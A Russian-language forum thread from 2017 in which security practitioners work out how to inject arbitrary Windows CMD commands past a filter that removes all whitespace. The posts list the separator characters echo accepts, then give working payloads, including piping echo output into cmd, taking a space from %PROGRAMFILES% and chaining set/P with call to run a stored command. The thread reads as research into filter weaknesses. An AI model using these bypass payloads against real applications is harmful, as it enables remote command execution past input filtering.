Выполнение произвольной команды CMD, не используя пробелы
От: kochetkov.vladimir Россия https://kochetkov.github.io
Дата: 18.04.17 07:42
Оценка: 35 (5) +1
Неплохой пример того, как особенности отдельно взятого парсера и окружения приложения могут способствовать успешной атаке на него.

Вчера в одном из чатов всплыла задачка по %subj%. Речь шла о возможности эксплуатации уязвимости к RCE через инъекцию с фильтрацией приложением всех пробельных символов в векторе атаки. Оказалось, что это вполне возможно. У команды echo весьма своеобразный парсер, благодаря которому её аргумент может быть отделён от неё самой не только пробелом. Тупой фаззинг по всем валидным символам от 0 до 0xffff в UTF-8 шаблона `echo{chr}test` даёт следующие варианты, допустимые в качестве возможных разделителей в echo:

0020, ' '
0028, '('
002B, '+'
002C, ','
002E, '.'
002F, '/'
003A, ':'
003B, ';'
003D, '='
005B, '['
005C, '\'
005D, ']'
00A0, ' '
1680, '?'
180E, '?'
2000, ' '
2001, ' '
2002, ' '
2003, ' '
2004, ' '
2005, ' '
2006, ' '
2007, ' '
2008, ' '
2009, ' '
200A, ' '
2028, '?'
2029, '?'
202F, ' '
205F, '?'
3000, '?'

Т.е., к примеру, `echo=calc.exe` выведет на экран `calc.exe` без знака равенства. А всё, что может быть выведено с помощью echo, может быть выполнено с помощью CMD: `echo=calc.exe|cmd`. Остаётся вопрос, что делать с командами, парсеры аргументов которых не позволяют подобные трюки, например ping? И тут тоже нашлось решение: пробел можно брать из переменной окружения, в значении которой он присутствует на всех системах (по крайней мере, в конфигурации по умолчанию). Одной из таких переменных является PROGRAMFILES, содержащая пробел в 10 символе своего значения, а следовательно, получаем: `echo=ping%PROGRAMFILES:~10,-5%8.8.8.8|cmd`

Voila
... << RSDN@Home 1.0.0 alpha 5 rev. 0>>

[Интервью] .NET Security — это просто
Автор: kochetkov.vladimir
Дата: 07.11.17
Отредактировано 19.04.2017 6:36 kochetkov.vladimir . Предыдущая версия .
Re: Выполнение произвольной команды CMD, не используя пробелы
От: DOOM Россия  
Дата: 18.04.17 08:14
Оценка:
Здравствуйте, kochetkov.vladimir, Вы писали:

KV>Voila

Зачем же так сложно?


по сути все родные команды cmd.exe прекрасно работают без пробелов. Так что вопрос именно к консольным утилитам, а не командам cmd.

Соответственно тому, кто придумал фильтровать по пробелу надо оторвать руки. Командами оболочки можно много что сделать нехорошего
Re[2]: Выполнение произвольной команды CMD, не используя про
От: kochetkov.vladimir Россия https://kochetkov.github.io
Дата: 18.04.17 08:31
Оценка:
Здравствуйте, DOOM, Вы писали:

DOO>Зачем же так сложно?

DOO>Image: 5ac76-clip-7kb.png

Речь ведь о полноценном RCE.

DOO>по сути все родные команды cmd.exe прекрасно работают без пробелов.


Точно не все. С set такое не прокатывает, например.

DOO>Соответственно тому, кто придумал фильтровать по пробелу надо оторвать руки. Командами оболочки можно много что сделать нехорошего


Только на командах, изобразить полноценное RCE без пробелов у меня не получилось

[Интервью] .NET Security — это просто
Автор: kochetkov.vladimir
Дата: 07.11.17
Отредактировано 18.04.2017 8:32 kochetkov.vladimir . Предыдущая версия .
Re[3]: Выполнение произвольной команды CMD, не используя про
От: DOOM Россия  
Дата: 18.04.17 09:59
Оценка: 38 (3)
Здравствуйте, kochetkov.vladimir, Вы писали:

KV>Точно не все. С set такое не прокатывает, например.

нашел 2 неполных решения
Первое:
set/A"MYVAR=1"

тут минус, что через /A можно присвоить только число и выражение в правой части тоже должно быть числом.

Второе:
set/P"MYVAR=1"<text.txt

в переменную MYVAR будет записано содержимое файла text.txt.
Пример:
D:\temp\bomb>set/P"VAR1="<examp.txt

D:\temp\bomb>echo %VAR1%
this is text

D:\temp\bomb>type examp.txt
this is text
D:\temp\bomb>


KV>Только на командах, изобразить полноценное RCE без пробелов у меня не получилось

Значит надо еще пытаться!
Re[4]: Выполнение произвольной команды CMD, не используя про
От: kochetkov.vladimir Россия https://kochetkov.github.io
Дата: 18.04.17 14:32
Оценка:
Здравствуйте, DOOM, Вы писали:

KV>>Только на командах, изобразить полноценное RCE без пробелов у меня не получилось

DOO>Значит надо еще пытаться!

echo=ping%PROGRAMFILES:~10,-5%8.8.8.8>text.txt&set/P"MYVAR="<text.txt&call,%MYVAR%


[Интервью] .NET Security — это просто
Автор: kochetkov.vladimir
Дата: 07.11.17
Отредактировано 18.04.2017 14:33 kochetkov.vladimir . Предыдущая версия . Еще …
Отредактировано 18.04.2017 14:33 kochetkov.vladimir . Предыдущая версия .
 
Подождите ...
Wait...
Пока на собственное сообщение не было ответов, его можно удалить.